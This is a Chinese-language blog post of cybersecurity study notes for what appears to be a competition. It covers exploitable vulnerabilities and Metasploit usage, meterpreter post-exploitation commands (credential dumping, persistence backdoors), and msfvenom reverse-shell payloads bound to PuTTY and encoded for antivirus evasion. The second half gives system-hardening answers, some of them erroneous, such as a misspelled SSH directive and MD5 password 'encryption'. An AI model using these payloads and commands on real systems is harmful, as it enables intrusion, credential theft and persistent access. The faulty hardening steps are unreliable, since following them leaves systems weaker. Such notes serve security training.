网络安全笔记整理


常用漏洞及其端口

  • MS08_067

    对应端口:445
    对应服务:smb共享服务
    发现方式:nmap –script smb-vuln-ms08-067
    效果:获取到目标靶机的meterpreter(系统权限)

    注:必须手动设置正确的target、可用check、脚本扫描和设置错误的target都会破坏漏洞

  • MS17_010

    对应端口:445
    对应服务:smb共享服务
    发现方式:有配套的扫描模块
    效果:获取到目标靶机的meterpreter(系统权限)

  • is_known_pipename

    对应端口:445
    对应服务:Liunx:smb3.X-4.X,smb3.5.0-4.6.4的中间版本
    效果:获取到目标靶机的shell
    漏洞修复: /etc/samba/smb.conf 76行添加nt pipe support = no,然后重启服务:service smb restart

  • CVE-2017-7269

    对应端口:80
    对应服务:IIS 6.0
    发现方式:使用nmap –script http-webdav-scan
    效果:获取到目标靶机的meterpreter

    注:搜索不到,exploit/windows/iis/cve_2017_7269

  • MS15_034

    对应端口:80
    对应服务:IIS
    发现方式:msf有配套扫描模块
    效果:使对方主机蓝屏
    加固方法:服务器管理器中关闭内核缓存

  • CVE-2017-8464

    对应端口:80
    对应服务:PHP
    攻击条件:需要拿到shell,执行生成的php代码
    效果:获取到目标靶机的meterpreter权限

  • vsftpd2.3.4(笑脸漏洞)

    对应端口:21
    对应服务:vsftpd2.3.4
    利用方式:使用msf搜索vsftpd,或者ftp使用root:),密码空登录,然后nc 6200端口
    效果:获取到目标靶机的shell

  • mssql_exec

    对应端口:1433
    对应服务:mssql
    利用条件:通过暴力破解获得密码(默认账号sa)
    效果:可以执行cmd指令

    注:开启远程桌面命令需要对“和\使用\转义

  • MS12_020

    对应端口:3389
    发现方式:msf有配套扫描模块
    效果:使对方主机蓝屏
    修复方法:服务(services.msc)中关闭Remote Desktop Services

  • ms14_064

    利用方式:需要通过远程桌面点击恶意链接
    效果:获取到目标靶机的meterpreter(系统权限)(仅限windows)

  • CVE-2018-4878

    攻击条件:需要Flash 0Day漏洞
    效果:将产生的攻击载荷放在80端口的index.html,用(exploit/multi/handler)监听,等待靶机访问

  • MS11_003

    攻击条件:ie8浏览器存在css漏洞
    效果:生成钓鱼链接,别人访问链接之后产生session

    注: target必须设置正确

  • Java_store

    攻击条件:存在java无效数组索引漏洞,java安全等级低,需要远程桌面点击恶意链接。
    效果:获取到目标靶机的meterpreter权限

    注: payload最好使用http

  • Esteemaudit

    攻击条件:windows2003或xp,开启域和远程桌面
    对应端口:135,139,3389
    效果:获取到目标靶机的最高meterpreter权限

  • exploit/multi/handler

效果:监听端口,推荐使用-j后台运行

常用命令

1.DOS命令:

  • systeminfo: 查看系统信息
  • tasklist /svc: 计算机进程
  • netstat -an: 查看开放的端口
  • REG ADD HKLM/SYSTEM/CurrentControlSet/Control/Terminal “ “Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f:开启3389端口
  • |findstr: 字符串过滤
  • wmic process where name = “进程名” get name,executablepath: 查找进程
  • net config: 配置服务器或域相关设置
  • type: 显示文件内容
  • wce.exe -w: 导出本地用户hash
  • set log: 查看域控主机名
  • shell:startup: 打开启动运行文件夹

2.linux命令:

  • locate 关键词: 查找文件
  • |grep: 过滤字符

3.meterpreter命令

  • sysinfo: 查看系统信息
  • shell: 打开终端
  • load mimikatz(Kiwi): wdigest可以获取管理员密码
  • run getgui -e:启动目标靶机的远程桌面服务
  • del: 删除文件
  • edit: 编辑文件
  • cat: 读取文件
  • reboot: 重启
  • ps: 查看运行进程pid
  • migrate:迁移进程
  • getpid: 查看当前的进程号
  • background: 将会话置于后台
  • hashdump: 获取哈希密码(如果不行可以搜索使用hashdunp模块)(配合linux ophcrack解密工具)
  • getuid、getsystem、getprivs: 提权
  • : 提权
  • background: 切换到后台运行
  • run persistence: 注入后门(-X 开机时自动加载 -i 回连的时间间隔 -p 端口号 -r 渗透机ip)

4.常用数据库命令

  • mysql -h 主机地址 -u用户名 -p密码: 登录数据库
  • select version(): 查看数据库版本
  • show databases: 显示所有数据库
  • drop database 数据库名: 删除数据库
  • **drop user ‘username‘@’%’: 删除用户
  • create database 数据库名: 新建数据库
  • use 数据库名: 使用数据库
  • show tables: 显示当前数据库中的所有数据表
  • describe 表名: 查看表结构
  • select 字段1,字段2 from 表名 where 条件: 查看数据表中的字段
  • update 数据表 set 字段 = ‘新值’ where 条件: 修改用户表
  • flush privileges: 刷新权限
  • show grants for 用户名@’主机地址’: 查看当前用户权限
  • grant 权限 on 数据库名.表名 to 用户名@’主机名’(*.*表示所有数据库所有表):授权

常用工具

nmap

  • -sS: TCP同步扫描,半开放式
  • -sV: 扫描系统服务及版本信息
  • -sC: 调用默认的服务扫描脚本
  • -sP: ping扫描
  • -Pn: 不进行ping
  • -oX xx.xml: 以xml格式输出
  • -O: 操作系统扫描

netdiscover(网络扫描工具)

netdiscover -r 目标网段 (-r 扫描范围,例如192.168.0.0/24)

dirb(基于字典的web目录扫描工具)

dirb http://192.168.1.0/24

nikto(Web漏洞扫描神器)

nikto -host http://172.168.1.105

ssh

ssh 客户端用户名@服务器ip地址
-X 调用图形界面
-p 选项来修改端口号,默认22
-i 使用私钥

sqlmap

sqlmap -u “http://172.16.1.1/login.php” –forms –level 3 –dbs
–forms 针对form表单
-l 使用txt文件
-p Host 手动指定检查HTTP头中的HOST
–level 扫描级别,1-5,默认是1,越高越强
–batch 不用询问,使用默认的选项
–dbs 显示所有数据库
-D 指定数据库
–tables 显示选定数据库下的数据表
-T 指定数据表
–columns 显示选定表中的所有列名
-C 指定列名
–dump 导出选中的列名

msfvenom(后门木马生成工具)

-p 载荷(msfvenom -l payloads)
-f 输出格式(msfvenom –help-formats)
-o 文件输出
-x 绑定软件
-e 编码免杀(msfvenom -l encoders)
-i 编码次数
-a 架构平台(x86/x64)
– platform 平台(windows/linux)
简单型:msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.1.100 LPORT=8080 -f exe -o payload.exe
绑定软件型:msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.1.100 LPORT=8080 -x /root/putty.exe -f exe -o payload.exe
编码免杀型:msfvenom –p windows/meterpreter/reverse_tcp LHOST=172.16.1.100 LPORT=8080 –e x86/shikata_ga_nai –i 3 –f exe –o C:\back.exe

weevely(后门木马生成工具)

  • weevely generate password path: 生成后门木马文件
  • weevely URL password: 连接生成的木马
  • weevely generate.img password /xx.gif ./ : 在当前文件夹生成gif木马,只有kail1.0可用

msf

  • msfdb init: 初始化数据库
  • db_import /xx/xx.xml: 导入扫描结果
  • services: 查看导入的数据
  • host: 查看导入的主机数据
  • exploit/multi/handler: 监听端口模块

wireshark(网络抓包工具)

  • tcp.connection.syn: 过滤出tcp协议
  • ip.src==:’ 过滤源地址
  • ip.dst==:’’ 过滤目标地址
  • ip.addr==: 包括源地址和目标地址
  • telnet contains “login’’ 查看目标主机名
  • tcp.port==3306: 过滤3306端口
  • ftp-data: FTP下载的文件
  • ftp contains “230” || ftp contains “success”: 230为FTP服务应答码,表示用户登录
  • ftp contains “220” || ftp contains “FTP”: 220为FTP服务应答码,表示服务就绪

dissniff

dissniff -i eth0 -t 21/tcp=ftp,23/tcp=telnet

you-get

you-get -c C:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\jleeq0k9.default-release\cookies.sqlite -i 

设备题目

第一题(windows8)

1. 设置密码策略必须同时满足大小写字母、数字、特殊字符,最小密码长度不少于8个字符,密码最长使用期限为15天。将服务器上密码策略配置信息截图;
开始——管理工具——本地安全策略——账户策略——密码策略
2. 在用户登录系统时,应该有“For authorized users only”提示信息,将登录系统时系统弹出警告信息窗口截图;
组策略(gpedit.msc)——计算机配置——windows设置——安全设置——本地策略——安全选项——交互式登录——标题和消息文字都设置一下
3. 一分钟内仅允许5次登录失败的尝试,超过5次,登录帐号锁定1分钟,将账号锁定策略配置信息截图
本地安全策略——账户策略——账户锁定策略
4.设置远程桌面用户非活动会话连接超时应小于等于5分钟,将RDP-Tcp属性对应的配置界面截图;
设置:组策略——计算机配置——管理模板——windows组件——远程桌面服务——远程桌面会话主机——会话时间限制——设置空闲会话的时间限制
查看:管理工具——远程桌面服务——远程桌面会话主机配置——双击RDP-Tcp——会话
5.通过SSL(TLS 1.0)加密服务器的远程桌面服务,将RDP-Tcp属性对应的配置界面截图;
管理工具——远程桌面服务——远程桌面会话主机配置——双击RDP-Tcp——常规
6.仅允许超级管理员账号关闭系统,将关闭系统属性的配置界面截图;
本地安全策略——本地策略——用户权限分配——关闭系统
7.开启IIS的日志审计记录,日志文件保存格式为W3C,只记录日期、时间、客户端IP地址、用户名、服务器端口、方法,将W3C日志记录字段的配置界面截图;
开始——管理工具——IIS管理器——日志——格式——选择字段
8.设置网站的最大并发连接数为1000,网站连接超时为60s,将编辑网站限制的配置界面截图;
网站——IIS的站点——配置——限制
9.禁用IIS内核缓存,避免对方利用ms15_034漏洞进行DOS攻击,出现蓝屏的现象,将编辑输出缓存设置的配置界面截图;
开始——管理工具——IIS管理器——输出缓存——编辑功能设置
10.设置user1用户只能在上班时间(周一至周五的9:00~18:00)可以登录。将user1的登录时间配置界面截图。
net user user1 /times:M-F,9:00-18:00 (M、T、W、Th、F、Sa、Su)

第二题

1.设置最小密码长度不少于8个字符,密码最长使用期限为15天。将/etc/login.defs配置文件中对应的部分截图;
/etc/login.defs
2.设置在用户登录系统时,会有“For authorized users only”提示信息,将登录系统时系统弹出提示信息界面截图;
/etc/issue 配置文件末尾添加 (存疑)
只是这样修改的话在 ssh 连接时是不会有提示信息的,需要修改 ssh 配置文本
vim /etc/ssh/sshd_config
在下方添加一行 Banner /etc/ssh/banner
touch /etc/ssh/banner
vim /etc/ssh/banner
在文件内添加需要提示的提示信息,完成后集团的重启 SSH 服务 systemctl restart sshd
3.设置root用户的计划任务。每天早上7:50自动开启vsftpd服务,22点50时关闭;每周六的7:30时,重新启动vsftpd服务。使用crontab –l 查看计划任务,将回显结果截图;

  • crontab -选项:
  • -u  指定用户设定计划
  • -e  进入用户编辑计划
  • -l  列出用户任务计划
  • -r  删除用户任务计划
    crontab -u root -l
    50 7 * * * /sbin/service vsftpd start
    50 22 * * * /sbin/service vsftpd stop
    30 7 * * 6 /sbin/service vsftpd restart

4.禁止匿名用户登录vsftpd服务,将/etc/vsftpd/vsftpd.conf配置文件中对应的部分截图;
anonymous_enable=no
5.限制客户端连接vsftpd服务时,同一个IP最多只能打开两个连接,将/etc/vsftpd/vsftpd.conf配置文件中对应的部分截图;
在文件末尾添加:max_per_ip=2
6.将SSH服务的端口号修改为2222 ,使用命令netstat -anltp | grep sshd查看SSH服务端口信息,将回显结果截图;
Port 2222
service sshd restart
7.禁止root用户通过SSH远程登录,将/etc/ssh/sshd_config 配置文件中对应的部分截图;
RermitRootLogin NO
8.禁止mysql服务以管理员权限的账号运行,将/etc/my.cnf配置文件中对应的部分截图;
在my.cnf配置文件中配置user=mysql
9.删除默认数据库test, 然后使用show databases;命令查看当前的数据库信息,将回显结果截图;
drop database test
10.将数据库用户user1的密码使用MD5加密,然后在数据库中使用select password from user where user=’user1’;命令查看user1的密码,将回显结果截图。

update user set password=md5('P@ssw0rd1!') where User='user1';
flush privileges;

A-2任务二 数据库加固(Data)

1.以普通账户mysql安全运行Mysql,禁止Mysql以管理员账号权限运行;
修改Mysql配置文本,vim /etc/my.cnf
在 [mysqld] 下方新增一行 user=mysql (如果没有 mysql 用户需要自行创建)
修改完后重启Mysql服务,service mysqld restart
2.删除默认数据库(test);

show databases;
create database test;
drop database test;

3.改变默认Mysql管理员用户为SuperRoot;

select User,Password from user;
update user set User = 'SuperRoot' where User = 'root';
//将当前user和privilige表中的用户信息/权限设置从mysql库 (MySQL数据库的内置库)中提取到内存里
flush privileges;

4.使用Mysql内置MD5加密函数加密用户user1的密码为(P@ssw0rd1!);

update user set password=md5('P@ssw0rd1!') where User='user1';
flush privileges;

5.赋予user1用户对数据库所有表只有select,insert,delete,update权限;

show grants for 'user1'@'localhost';
grant select,insert,delete,update on *.* to 'user1'@'localhost';
flush privileges;

6.对忘记mysql数据库root管理员密码进行重置操作
vim /etc/my.cnf
在[mysqld]下面加入
skip-grant-tables (跳过权限检查启动)
修改完后重启Mysql服务,service mysqld restart
mysql –u root –p
use mysql;
update user set Password='123.com' where User='root';
flush privileges;

A-3任务三 Web安全加固

1.为了防止web中.mdb数据库文件非法下载请对Web配置文件进行安全加固
开始——管理工具 —— IIS管理器 —— 网站 —— Default Web Site —— 请求筛选 —— 拒绝文件扩展名,添加扩展名.mdb
2.限制目录执行权限,对picture 和 upload 目录是指执行权限为无
开始——管理工具 —— IIS管理器 —— 网站 —— Default Web Site —— picture/upload —— 处理程序映射—— 编辑功能权限,取消勾选执行
3.开启IIS的日志审计记录(日志文件保存格式为W3C,只记录日期、时间、客户IP地址、用户名、方法)
开始——管理工具 —— IIS管理器 —— 网站 —— web —— 日志,格式选择W3C,点击选择字段,只勾选日期、时间、客户端IP地址、用户名、方法
4.为了减轻网站负载,设置网站最大并发连接数为1000
开始——管理工具 —— IIS管理器 —— 网站 —— 右侧-设置网站默认设置,设置限制连接数值1000
5.防止文件枚举漏洞枚举网络服务器根目录文件,禁止IIS短文件名泄露
CMD 执行命令 fsutil behavior set disable8dot3 1
6.关闭IIS的WebDAV功能增强网站的安全性
管理工具 —— IIS管理器 ——主机名(WIN-FVEF7SF4TF5) —— ISAPI 和 CGI 限制,右键WebDav,点击拒绝

A-6任务六 服务加固SSH\VSFTPD(P9Linux渗透)

1. 修改ssh服务端口为2222;
修改ssh服务配置文件,vim /etc/ssh/sshd_config
查找 Port, 将注释取消,并将Port的值22改为2222
2. ssh禁止Root用户远程登录;
vim中/关键词进行查找
查找 PermitRootLogin, 修改值为no
3. vsFTPd禁止匿名用户上传;
anon_upload_enable 注释取消,并将值改为 NO,
并重启vsftpd服务service vsftpd restart
4. 激活 vsFTPd 上传下载日志;
xferlog_enable 的值设置为 YES
#启用改选项,系统会记录上传下载的日志。默认情况下,日志文件为 /var/log/vsftpd.log
5. vsFTPd 同一个IP只能连接两个;
在文件底部新增一行 max_per_ip=2,并重启vsFTPd 服务.
6. vsFTPd 将使客户端连接时的端口范围在 50000 和 60000 之间;
在文件底部新增两行,并重启vsFTPd服务
pasv_min_port=50000
pasv_max_port=60000
7. vsFTPd 使本地用户登录活动范围限制在home目录;
取消 chroot_local_userchroot_list_enable 的注释,
chroot_local_userchroot_list_enable 的值分别改为 YES 和 NO


文章作者: 网络安全训练团队
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 网络安全训练团队 !
  目录